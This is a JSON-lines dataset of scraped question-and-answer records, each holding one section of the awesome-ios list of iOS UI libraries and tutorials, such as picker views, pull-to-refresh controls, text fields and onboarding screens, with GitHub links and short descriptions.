{"id": "gh_bfe42cf03116", "question": "How to: PickerView", "question_body": "About vsouza/awesome-ios", "answer": "- [ActionSheetPicker-3.0](https://github.com/skywinder/ActionSheetPicker-3.0/) - Quickly reproduce the dropdown UIPickerView / ActionSheet functionality on iOS.\n- [PickerView](https://github.com/filipealva/PickerView) - A customizable alternative to UIPickerView in Swift.\n- [DatePickerDialog](https://github.com/squimer/DatePickerDialog-iOS-Swift) - Date picker dialog for iOS\n- [CZPicker](https://github.com/chenzeyu/CZPicker) - A picker view shown as a popup for iOS.\n- [AIDatePickerController](https://github.com/alikaragoz/AIDatePickerController) - :date: UIDatePicker modally presented with iOS 7 custom transitions.\n- [CountryPicker](https://github.com/4taras4/CountryCode) - :date: UIPickerView with Country names flags and phoneCodes\n- [McPicker](https://github.com/kmcgill88/McPicker-iOS) - A customizable, closure driven UIPickerView drop-in solution with animations that is rotation ready.\n- [Mandoline](https://github.com/blueapron/Mandoline) - An iOS picker view to serve all your \"picking\" needs\n- [D2PDatePicker](https://github.com/di2pra/D2PDatePicker) - Elegant and Easy-to-Use iOS Swift Date Picker\n- [CountryPickerView](https://github.com/kizitonwose/CountryPickerView)- A simple, customizable view for efficiently collecting country information in iOS apps\n- [planet](https://github.com/kwallet/planet) - A country picker\n- [MICountryPicker](https://github.com/mustafaibrahim989/MICountryPicker) - Swift country picker with search option.\n- [ADDatePicker](https://github.com/abhiperry/ADDatePicker) - A fully customizable iOS Horizontal PickerView library, written in pure swift.\n- [SKCountryPicker](https://github.com/SURYAKANTSHARMA/CountryPicker) - A simple, customizable Country picker for picking country or dialing code.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580244"}
{"id": "gh_8c466bc7a876", "question": "How to: ProgressView", "question_body": "About vsouza/awesome-ios", "answer": "- [ProgressMeter](https://github.com/khawajafarooq/ProgressMeter) - Display the progress on a meter with customized annotations for iOS developed in Swift\n- [GradientCircularProgress](https://github.com/keygx/GradientCircularProgress) - Customizable progress indicator library in Swift.\n- [ProgressUI](https://github.com/PierreJanineh-com/ProgressUI) - A highly customizable and animated circular/linear progress indicator for SwiftUI. Supports dynamic coloring, spinner mode, multiple sizes, and easy appearance customization.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580252"}
{"id": "gh_ff08130bced1", "question": "How to: Pull to Refresh", "question_body": "About vsouza/awesome-ios", "answer": "- [DGElasticPullToRefresh](https://github.com/gontovnik/DGElasticPullToRefresh) - Elastic pull to refresh for iOS developed in Swift\n- [PullToBounce](https://github.com/entotsu/PullToBounce) - Animated \"Pull To Refresh\" Library for UIScrollView.\n- [SVPullToRefresh](https://github.com/samvermette/SVPullToRefresh) - Give pull-to-refresh & infinite scrolling to any UIScrollView with 1 line of code. http://samvermette.com/314\n- [UzysAnimatedGifPullToRefresh](https://github.com/uzysjung/UzysAnimatedGifPullToRefresh) - Add PullToRefresh using animated GIF to any scrollView with just simple code\n- [PullToRefreshCoreText](https://github.com/cemolcay/PullToRefreshCoreText) - PullToRefresh extension for all UIScrollView type classes with animated text drawing style\n- [BOZPongRefreshControl](https://github.com/boztalay/BOZPongRefreshControl) - A pull-down-to-refresh control for iOS that plays pong, originally created for the MHacks III iOS app\n- [CBStoreHouseRefreshControl](https://github.com/coolbeet/CBStoreHouseRefreshControl) - Fully customizable pull-to-refresh control inspired by Storehouse iOS app\n- [SurfingRefreshControl](https://github.com/peiweichen/SurfingRefreshControl) - Inspired by CBStoreHouseRefreshControl.Customizable pull-to-refresh control,written in pure Swift\n- [mntpulltoreact](https://github.com/mentionapp/mntpulltoreact) - One gesture, many actions. An evolution of Pull to Refresh.\n- [ADChromePullToRefresh](https://github.com/Antondomashnev/ADChromePullToRefresh) - Chrome iOS app style pull to refresh with multiple actions.\n- [BreakOutToRefresh](https://github.com/dasdom/BreakOutToRefresh) - A playable pull to refresh view using SpriteKit.\n- [MJRefresh](https://github.com/CoderMJLee/MJRefresh) An easy way to use pull-to-refresh.\n- [HTPullToRefresh](https://github.com/hoang-tran/HTPullToRefresh) - Easily add vertical and horizontal pull to refresh to any UIScrollView. Can also add multiple pull-to-refesh views at once.\n- [PullToRefreshSwift](https://github.com/dekatotoro/PullToRefreshSwift) - iOS Simple Cool PullToRefresh Library. It is written in pure swift.\n- [GIFRefreshControl](https://github.com/delannoyk/GIFRefreshControl) - GIFRefreshControl is a pull to refresh that supports GIF images as track animations.\n- [ReplaceAnimation](https://github.com/fruitcoder/ReplaceAnimation) - Pull-to-refresh animation in UICollectionView with a sticky header flow layout, written in Swift\n- [PullToMakeSoup](https://github.com/Yalantis/PullToMakeSoup) - Custom animated pull-to-refresh that can be easily added to UIScrollView\n- [RainyRefreshControl](https://github.com/Onix-Systems/RainyRefreshControl) - Simple refresh control for iOS inspired by [concept](https://dribbble.com/shots/2242263--1-Pull-to-refresh-Freebie-Weather-Concept).\n- [ESPullToRefresh](https://github.com/eggswift/pull-to-refresh) - Customisable pull-to-refresh, including nice animation on the top\n- [CRRefresh](https://github.com/CRAnimation/CRRefresh) - An easy way to use pull-to-refresh.\n- [KafkaRefresh](https://github.com/HsiaohuiHsiang/KafkaRefresh) - Animated, customizable, and flexible pull-to-refresh framework for faster and easier iOS development.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580261"}
{"id": "gh_0eef8cf2558d", "question": "How to: Rating Stars", "question_body": "About vsouza/awesome-ios", "answer": "- [FloatRatingView](https://github.com/glenyi/FloatRatingView) - Whole, half or floating point ratings control written in Swift\n- [TTGEmojiRate](https://github.com/zekunyan/TTGEmojiRate) - An emoji-liked rating view for iOS, implemented in Swift.\n- [StarryStars](https://github.com/peterprokop/StarryStars) - StarryStars is iOS GUI library for displaying and editing ratings\n- [Cosmos](https://github.com/evgenyneu/Cosmos) - A star rating control for iOS / Swift\n- [HCSStarRatingView](https://github.com/hsousa/HCSStarRatingView) - Simple star rating view for iOS written in Objective-C\n- [MBRateApp](https://github.com/MatiBot/MBRateApp) - A groovy app rate stars screen for iOS written in Swift\n- [RPInteraction](https://github.com/nbolatov/RPInteraction) - Review page interaction - handy and pretty way to ask for review.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580267"}
{"id": "gh_244d04664066", "question": "How to: ScrollView", "question_body": "About vsouza/awesome-ios", "answer": "- [ScrollingFollowView](https://github.com/ktanaka117/ScrollingFollowView) - ScrollingFollowView is a simple view which follows UIScrollView scrolling.\n- [UIScrollView-InfiniteScroll](https://github.com/pronebird/UIScrollView-InfiniteScroll) - UIScrollView infinite scroll category.\n- [GoAutoSlideView](https://github.com/zjmdp/GoAutoSlideView) - GoAutoSlideView extends UIScrollView by featuring infinitely and automatically slide.\n- [AppStoreStyleHorizontalScrollView](https://github.com/terenceLuffy/AppStoreStyleHorizontalScrollView) - App store style horizontal scroll view.\n- [PullToDismiss](https://github.com/sgr-ksmt/PullToDismiss) - You can dismiss modal viewcontroller by pulling scrollview or navigationbar in Swift.\n- [SpreadsheetView](https://github.com/bannzai/SpreadsheetView) - Full configurable spreadsheet view user interfaces for iOS applications. With this framework, you can easily create complex layouts like schedule, Gantt chart or timetable as if you are using Excel.\n-  [VegaScroll](https://github.com/AppliKeySolutions/VegaScroll) - VegaScroll is a lightweight animation flowlayout for UICollectionView completely written in Swift 4, compatible with iOS 11 and Xcode 9\n-  [ShelfView-iOS](https://github.com/tdscientist/ShelfView-iOS) - iOS custom view to display books on shelf\n-  [SlideController](https://github.com/touchlane/SlideController) - SlideController is simple and flexible UI component completely written in Swift. It is a nice alternative for UIPageViewController built using power of generic types.\n- [CrownControl](https://github.com/huri000/CrownControl) - Inspired by the Apple Watch Digital Crown, CrownControl is a tiny accessory view that enables scrolling through scrollable content without lifting your thumb.\n- [SegementSlide](https://github.com/Jiar/SegementSlide) - Multi-tier UIScrollView nested scrolling solution.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580275"}
{"id": "gh_1c9e51dfd8b8", "question": "How to: Segmented Control", "question_body": "About vsouza/awesome-ios", "answer": "- [BetterSegmentedControl](https://github.com/gmarm/BetterSegmentedControl) - An easy to use, customizable replacement for UISegmentedControl & UISwitch.\n- [LUNSegmentedControl](https://github.com/Stormotion-Mobile/LUNSegmentedControl) - Customizable segmented control with interactive animation.\n- [AKASegmentedControl](https://github.com/alikaragoz/AKASegmentedControl) - :chocolate_bar: Fully customizable Segmented Control for iOS.\n- [TwicketSegmentedControl](https://github.com/twicketapp/TwicketSegmentedControl) - Custom UISegmentedControl replacement for iOS, written in Swift.\n- [SJFluidSegmentedControl](https://github.com/sasojadrovski/SJFluidSegmentedControl) - A segmented control with custom appearance and interactive animations. Written in Swift 3.0.\n- [HMSegmentedControl](https://github.com/HeshamMegid/HMSegmentedControl) - A drop-in replacement for UISegmentedControl mimicking the style of the segmented control used in Google Currents and various other Google products.\n- [YUSegment](https://github.com/afishhhhh/YUSegment) - A customizable segmented control for iOS. Supports both text and image.\n- [MultiSelectSegmentedControl](https://github.com/yonat/MultiSelectSegmentedControl) - adds Multiple-Selection to the standard `UISegmentedControl`.\n- [DynamicMaskSegmentSwitch](https://github.com/KittenYang/DynamicMaskSegmentSwitch) - A segment switcher with dynamic text mask effect\n- [PinterestSegment](https://github.com/TBXark/PinterestSegment) - A Pinterest-like segment control with masking animation.\n- [DGRunkeeperSwitch](https://github.com/gontovnik/DGRunkeeperSwitch) - Runkeeper design switch control (two part segment control)\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580281"}
{"id": "gh_2848c98034b3", "question": "How to: Splash View", "question_body": "About vsouza/awesome-ios", "answer": "- [CBZSplashView](https://github.com/callumboddy/CBZSplashView) - Twitter style Splash Screen View. Grows to reveal the Initial view behind.\n- [SKSplashView](https://github.com/sachinkesiraju/SKSplashView) - Create custom animated splash views similar to the ones in the Twitter, Uber and Ping iOS app.\n- [RevealingSplashView](https://github.com/PiXeL16/RevealingSplashView) - A Splash view that animates and reveals its content, inspired by Twitter splash\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580288"}
{"id": "gh_b4e097dd14c3", "question": "How to: Status Bar", "question_body": "About vsouza/awesome-ios", "answer": "- [Bartinter](https://github.com/MaximKotliar/Bartinter) - Status bar tint depending on content behind, updates dynamically.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580293"}
{"id": "gh_72359a827dbc", "question": "How to: Table View / Collection View", "question_body": "About vsouza/awesome-ios", "answer": "#### Table View\n\n- [MGSwipeTableCell](https://github.com/MortimerGoro/MGSwipeTableCell) - UITableViewCell subclass that allows to display swippable buttons with a variety of transitions.\n- [YXTPageView](https://github.com/hanton/YXTPageView) - A PageView, which supporting scrolling to transition between a UIView and a UITableView.\n- [ConfigurableTableViewController](https://github.com/fastred/ConfigurableTableViewController) - Typed, yet Flexible Table View Controller https://holko.pl/2016/01/05/typed-table-view-controller/\n- [Lightning-Table](https://github.com/electrickangaroo/Lightning-Table) - A declarative api for working with UITableView.\n- [Static](https://github.com/venmo/Static) - Simple static table views for iOS in Swift.\n- [AMWaveTransition](https://github.com/andreamazz/AMWaveTransition) - Custom transition between viewcontrollers holding tableviews.\n- [SWTableViewCell](https://github.com/CEWendel/SWTableViewCell) - An easy-to-use UITableViewCell subclass that implements a swippable content view which exposes utility buttons (similar to iOS 7 Mail Application)\n- [ZYThumbnailTableView](https://github.com/liuzhiyi1992/ZYThumbnailTableView) - a TableView have thumbnail cell only, and you can use gesture let it expands other expansionView, all diy\n- [BWSwipeRevealCell](https://github.com/bitwit/BWSwipeRevealCell) - A Swift library for swipeable table cells\n- [preview-transition](https://github.com/Ramotion/preview-transition) - PreviewTransition is a simple preview gallery controller\n- [QuickTableViewController](https://github.com/bcylin/QuickTableViewController) - A simple way to create a UITableView for settings in Swift.\n- [TableKit](https://github.com/maxsokolov/TableKit) - Type-safe declarative table views with Swift\n- [VBPiledView](https://github.com/v-braun/VBPiledView) - Simple and beautiful stacked UIView to use as a replacement for an UITableView, UIImageView or as a menu\n- [VTMagic](https://github.com/tianzhuo112/VTMagic) - VTMagic is a page container library for iOS.\n- [MCSwipeTableViewCell](https://github.com/alikaragoz/MCSwipeTableViewCell) - :point_up_2: Convenient UITableViewCell subclass that implements a swippable content to trigger actions (similar to the Mailbox app).\n- [MYTableViewIndex](https://github.com/mindz-eye/MYTableViewIndex) - A pixel perfect replacement for UITableView section index, written in Swift\n- [ios-dragable-table-cells](https://github.com/palmin/ios-dragable-table-cells) - Support for drag-n-drop of UITableViewCells in a navigation hierarchy of view controllers. You drag cells by tapping and holding them.\n- [Bohr](https://github.com/DavdRoman/Bohr) - Bohr allows you to set up a settings screen for your app with three principles in mind: ease, customization and extensibility.\n- [SwiftReorder](https://github.com/adamshin/SwiftReorder) - Add drag-and-drop reordering to any table view with just a few lines of code. Robust, lightweight, and completely customizable. [e]\n- [HoverConversion](https://github.com/marty-suzuki/HoverConversion) - HoverConversion realized vertical paging with UITableView. UIViewController will be paging when reaching top or bottom of UITableView contentOffset.\n- [TableViewDragger](https://github.com/KyoheiG3/TableViewDragger) - A cells of UITableView can be rearranged by drag and drop.\n- [FlexibleTableViewController](https://github.com/dimpiax/FlexibleTableViewController) - Swift library of generic table view controller with external data processing of functionality, like determine cell's reuseIdentifier related to indexPath, configuration of requested cell for display and cell selection handler\n- [CascadingTableDelegate](https://github.com/edopelawi/CascadingTableDelegate) - A no-nonsense way to write cleaner UITableViewDelegate and UITableViewDataSource in Swift.\n- [TimelineTableViewCell](https://github.com/kf99916/TimelineTableViewCell) - Simple timeline view implemented by UITableViewCell written in Swift 3.0.\n- [RHPreviewCell](https://github.com/robertherdzik/RHPreviewCell) - I envied so much Spotify iOS app this great playlist preview cell. Now you can give your users ability to quick check \"what content is hidden under your UITableViewCell\".\n- [TORoundedTableView](https://github.com/TimOliver/TORoundedTableView) - A subclass of UITableView that styles it like Settings.app on iPad\n- [TableFlip](https://github.com/mergesort/TableFlip) - A simpler way to do cool UITableView animations! (╯°□°）╯︵ ┻━┻\n- [DTTableViewManager](https://github.com/DenTelezhkin/DTTableViewManager) - Protocol-oriented UITableView management, powered by generics and associated types.\n- [SwipeCellKit](https://github.com/SwipeCellKit/SwipeCellKit) - Swipeable UITableViewCell based on the stock Mail.app, implemented in Swift.\n- [ReverseExtension](https://github.com/marty-suzuki/ReverseExtension) - A UITableView extension that enables cell insertion from the bottom of a table view.\n- [SelectionList](https://github.com/yonat/SelectionList) - Simple single-selection or", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580354"}
{"id": "gh_b1b299919cb6", "question": "How to: TextField & TextView", "question_body": "About vsouza/awesome-ios", "answer": "- [JVFloatLabeledTextField](https://github.com/jverdi/JVFloatLabeledTextField) - UITextField subclass with floating labels.\n- [ARAutocompleteTextView](https://github.com/alexruperez/ARAutocompleteTextView) - subclass of UITextView that automatically displays text suggestions in real-time. Perfect for email Textviews.\n- [IQDropDownTextField](https://github.com/hackiftekhar/IQDropDownTextField) - TextField with DropDown support using UIPickerView.\n- [UITextField-Shake](https://github.com/andreamazz/UITextField-Shake) - UITextField category that adds shake animation. [Also with Swift version](https://github.com/King-Wizard/UITextField-Shake-Swift)\n- [HTYTextField](https://github.com/hanton/HTYTextField) - A UITextField with bouncy placeholder.\n- [MVAutocompletePlaceSearchTextField](https://github.com/TheMrugraj/MVAutocompletePlaceSearchTextField) - A drop-in Autocompletion control for Place Search like Google Places, Uber, etc.\n- [AutocompleteField](https://github.com/filipstefansson/AutocompleteField) - Add word completion to your UITextFields.\n- [RSKGrowingTextView](https://github.com/ruslanskorb/RSKGrowingTextView) - A light-weight UITextView subclass that automatically grows and shrinks.\n- [RSKPlaceholderTextView](https://github.com/ruslanskorb/RSKPlaceholderTextView) - A light-weight UITextView subclass that adds support for placeholder.\n- [StatefulViewController](https://github.com/aschuch/StatefulViewController) - Placeholder views based on content, loading, error or empty states.\n- [MBAutoGrowingTextView](https://github.com/MatejBalantic/MBAutoGrowingTextView) - An auto-layout base UITextView subclass which automatically grows with user input and can be constrained by maximal and minimal height - all without a single line of code.\n- [TextFieldEffects](https://github.com/raulriera/TextFieldEffects) - Custom UITextFields effects inspired by Codrops, built using Swift.\n- [Reel Search](https://github.com/Ramotion/reel-search) - RAMReel is a controller that allows you to choose options from a list.\n- [MLPAutoCompleteTextField](https://github.com/EddyBorja/MLPAutoCompleteTextField) - a subclass of UITextField that behaves like a typical UITextField with one notable exception: it manages a drop down table of autocomplete suggestions that update as the user types.\n- [SkyFloatingLabelTextField](https://github.com/Skyscanner/SkyFloatingLabelTextField) - A beautiful and flexible text field control implementation of \"Float Label Pattern\". Written in Swift.\n- [VMaskTextField](https://github.com/viniciusmo/VMaskTextField) - VMaskTextField is a library which create an input mask for iOS.\n- [TJTextField](https://github.com/tejas-ardeshna/TJTextField) - UITextField with underline and left image.\n- [NextGrowingTextView](https://github.com/muukii/NextGrowingTextView) - The next in the generations of 'growing textviews' optimized for iOS 7 and above.\n- [RPFloatingPlaceholders](https://github.com/iwasrobbed/RPFloatingPlaceholders) - UITextField and UITextView subclasses with placeholders that change into floating labels when the fields are populated with text.\n- [CurrencyTextField](https://github.com/richa008/CurrencyTextField) - UITextField that automatically formats text to display in the currency format.\n- [UITextField-Navigation](https://github.com/T-Pham/UITextField-Navigation) - UITextField-Navigation adds next, previous and done buttons to the keyboard for your UITextFields.\n- [AutoCompleteTextField](https://github.com/nferocious76/AutoCompleteTextField) - Auto complete with suggestion textfield.\n- [PLCurrencyTextField](https://github.com/nonameplum/PLCurrencyTextField) - UITextField that support currency in the right way.\n- [PasswordTextField](https://github.com/PiXeL16/PasswordTextField) - A custom TextField with a switchable icon which shows or hides the password and enforce good password policies.\n- [AnimatedTextInput](https://github.com/jobandtalent/AnimatedTextInput) - Animated UITextField and UITextView replacement for iOS.\n- [KMPlaceholderTextView](https://github.com/MoZhouqi/KMPlaceholderTextView) - A UITextView subclass that adds support for multiline placeholder written in Swift.\n- [NxEnabled](https://github.com/Otbivnoe/NxEnabled) - Library which allows you binding `enabled` property of button with textable elements (TextView, TextField).\n- [AwesomeTextField](https://github.com/aleksandrshoshiashvili/AwesomeTextFieldSwift) - Awesome TextField is a nice and simple library for iOS. It's highly customisable and easy-to-use tool. Works perfectly for any registration or login forms in your app.\n- [ModernSearchBar](https://github.com/PhilippeBoisney/ModernSearchBar) - The famous iOS search bar with auto completion feature implemented.\n- [SelectableTextView](https://github.com/jhurray/SelectableTextView) - A text view that supports selection and expansion.\n- [CBPinEntryView](https://github.com/Fawxy/CBPinEntryView) - A customisable view written in Swift 4.2 for any pin, code or password entry. Supports one time", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580376"}
{"id": "gh_6a8f93a4d288", "question": "How to: UIPageControl", "question_body": "About vsouza/awesome-ios", "answer": "- [PageControl](https://github.com/kasper-lahti/PageControl) - A nice, animated UIPageControl alternative.\n- [PageControls](https://github.com/popwarsweet/PageControls) - This is a selection of custom page controls to replace UIPageControl, inspired by a dribbble found here.\n- [CHIPageControl](https://github.com/ChiliLabs/CHIPageControl) - A set of cool animated page controls to replace boring UIPageControl.\n- [Page-Control](https://github.com/sevruk-dev/page-control) - Beautiful, animated and highly customizable UIPageControl alternative.\n- [TKRubberIndicator](https://github.com/TBXark/TKRubberIndicator) - Rubber Indicator in Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580382"}
{"id": "gh_1a8567bf53b4", "question": "How to: User Consent", "question_body": "About vsouza/awesome-ios", "answer": "- [SmartlookConsentSDK](https://github.com/smartlook/ios-consent-sdk) - Open source SDK which provides a configurable control panel where user can select their privacy options and store the user preferences for the app.\n- [PrivacyFlash Pro](https://github.com/privacy-tech-lab/privacyflash-pro) - Generate a privacy policy for your iOS app from its code\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580398"}
{"id": "gh_9b63b2d708cf", "question": "How to: Walkthrough / Intro / Tutorial", "question_body": "About vsouza/awesome-ios", "answer": "- [Onboard](https://github.com/mamaral/Onboard) - Easily create a beautiful and engaging onboarding experience with only a few lines of code.\n- [EAIntroView](https://github.com/ealeksandrov/EAIntroView) - Highly customizable drop-in solution for introduction views.\n- [MYBlurIntroductionView](https://github.com/MatthewYork/MYBlurIntroductionView) - A super-charged version of MYIntroductionView for building custom app introductions and tutorials.\n- [BWWalkthrough](https://github.com/ariok/BWWalkthrough) - A class to build custom walkthroughs for your iOS App.\n- [GHWalkThrough](https://github.com/GnosisHub/GHWalkThrough) - A UICollectionView backed drop-in component for introduction views.\n- [ICETutorial](https://github.com/icepat/ICETutorial) - A nice tutorial like the one introduced in the Path 3.X App.\n- [JazzHands](https://github.com/IFTTT/JazzHands) - Jazz Hands is a simple keyframe-based animation framework for UIKit. Animations can be controlled via gestures, scroll views, KVO, or ReactiveCocoa.\n- [RazzleDazzle](https://github.com/IFTTT/RazzleDazzle) - A simple keyframe-based animation framework for iOS, written in Swift. Perfect for scrolling app intros.\n- [Instructions](https://github.com/ephread/Instructions) - Easily add customizable coach marks into you iOS project.\n- [SwiftyWalkthrough](https://github.com/ruipfcosta/SwiftyWalkthrough) - The easiest way to create a great walkthrough experience in your apps, powered by Swift.\n- [Gecco](https://github.com/yukiasai/Gecco) - Spotlight view for iOS.\n- [VideoSplashKit](https://github.com/svhawks/VideoSplashKit) - VideoSplashKit - UIViewController library for creating easy intro pages with background videos.\n- [Presentation](https://github.com/hyperoslo/Presentation) - Presentation helps you to make tutorials, release notes and animated pages.\n- [AMPopTip](https://github.com/andreamazz/AMPopTip) - An animated popover that pops out a given frame, great for subtle UI tips and onboarding.\n- [AlertOnboarding](https://github.com/PhilippeBoisney/AlertOnboarding) - A simple and handsome AlertView for onboard your users in your amazing world.\n- [EasyTipView](https://github.com/teodorpatras/EasyTipView) - Fully customisable tooltip view in Swift.\n- [paper-onboarding](https://github.com/Ramotion/paper-onboarding) - PaperOnboarding is a material design slider.\n- [InfoView](https://github.com/anatoliyv/InfoView) - Swift based simple information view with pointed arrow.\n- [Intro](https://github.com/nbolatov/Intro) - An iOS framework to easily create simple animated walkthrough, written in Swift.\n- [AwesomeSpotlightView](https://github.com/aleksandrshoshiashvili/AwesomeSpotlightView) - Tool to create awesome tutorials or educate user to use application. Or just highlight something on screen. Written in Swift.\n- [SwiftyOnboard](https://github.com/juanpablofernandez/SwiftyOnboard) - A simple way to add onboarding to your project.\n- [WVWalkthroughView](https://github.com/praagyajoshi/WVWalkthroughView) - Utility to easily create walkthroughs to help with user onboarding.\n- [SwiftyOverlay](https://github.com/saeid/SwiftyOverlay) - Easy and quick way to show intro / instructions over app UI without any additional images in real-time!\n- [SwiftyOnboardVC](https://github.com/chaser79/SwiftyOnboardVC) - Lightweight walkthrough controller thats uses view controllers as its subviews making the customization endless.\n- [Minamo](https://github.com/yukiasai/Minamo) - Simple coach mark library written in Swift.\n- [Material Showcase iOS](https://github.com/aromajoin/material-showcase-ios) - An elegant and beautiful showcase for iOS apps.\n- [WhatsNewKit](https://github.com/SvenTiigi/WhatsNewKit) - Showcase your awesome new app features.\n- [OnboardKit](https://github.com/NikolaKirev/OnboardKit) - Customisable user onboarding for your iOS app.\n- [ConcentricOnboarding](https://github.com/exyte/ConcentricOnboarding) - SwiftUI library for a walkthrough or onboarding flow with tap actions.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580409"}
{"id": "gh_abeb7024dfe2", "question": "How to: Tutorials and Keynotes", "question_body": "About vsouza/awesome-ios", "answer": "- [AppCoda](https://www.appcoda.com/)\n- [Tutorials Point](https://www.tutorialspoint.com/ios/index.htm)\n- [Code with Chris](https://codewithchris.com/)\n- [Cocoa with Love](http://www.cocoawithlove.com/)\n- [Brian Advent youtube channel](https://www.youtube.com/channel/UCysEngjfeIYapEER9K8aikw/videos) - Swift tutorials Youtube Channel.\n- [raywenderlich.com](https://www.raywenderlich.com/ios) - Tutorials for developers and gamers.\n- [Mike Ash](https://www.mikeash.com/pyblog/)\n- [Big Nerd Ranch](https://www.bignerdranch.com/blog/category/ios/)\n- [Tuts+](https://code.tutsplus.com/categories/ios-sdk)\n- [Thinkster](https://thinkster.io/a-better-way-to-learn-swift)\n- [Swift Education](https://github.com/swifteducation) - A community of educators sharing materials for teaching Swift and app development.\n- [Cocoa Dev Central](http://cocoadevcentral.com)\n- [Use Your Loaf](https://useyourloaf.com/)\n- [Swift Tutorials by Jameson Quave](https://jamesonquave.com/blog/tutorials/)\n- [Awesome-Swift-Education](https://github.com/hsavit1/Awesome-Swift-Education) - All of the resources for Learning About Swift.\n- [Awesome-Swift-Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds) - A List of Awesome Swift Playgrounds!\n- [learn-swift](https://github.com/nettlep/learn-swift) - Learn Apple's Swift programming language interactively through these playgrounds.\n- [SwiftUI Tutorials](https://JaneshSwift.com) - Learn SwiftUI & Swift for FREE.\n- [Treehouse's iOS Courses and Workshops](https://teamtreehouse.com/library/topic:ios) - Topics for beginner and advanced developers in both Objective-C and Swift.\n- [The Swift Summary Book](https://github.com/jakarmy/swift-summary) - A summary of Apple's Swift language written on Playgrounds.\n- [Hacking With Swift](https://www.hackingwithswift.com) - Learn to code iPhone and iPad apps with 3 Swift tutorials.\n- [Realm Academy](https://academy.realm.io/)\n- [LearnAppMaking](https://learnappmaking.com) - LearnAppMaking helps app developers to build, launch and market iOS apps.\n- [iOS Development with Swift in Motion ](https://www.manning.com/livevideo/ios-development-with-swift-lv) -  This live video course locks in the language fundamentals and then offers interesting examples and exercises to build and practice your knowledge and skills.\n- [Conferences.digital](https://github.com/zagahr/Conferences.digital) - Watch conference videos in a native macOS app.\n- [DaddyCoding](https://daddycoding.com/) - iOS Tutorials ranging from beginners to advance.\n- [Learn Swift](https://blog.coursesity.com/best-swift-tutorials/) - Learn Swift - curated list of the top online Swift tutorials and courses.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580437"}
{"id": "gh_3ed837910ecf", "question": "How to: UI Templates", "question_body": "About vsouza/awesome-ios", "answer": "- [iOS UI Design Kit](https://www.invisionapp.com/inside-design/design-resources/tethr/)\n- [iOS Design Guidelines](https://ivomynttinen.com/blog/ios-design-guidelines)\n- [iOS 11 iPhone GUI from Design at Meta](https://design.facebook.com/toolsandresources/ios-11-iphone-gui/)\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580442"}
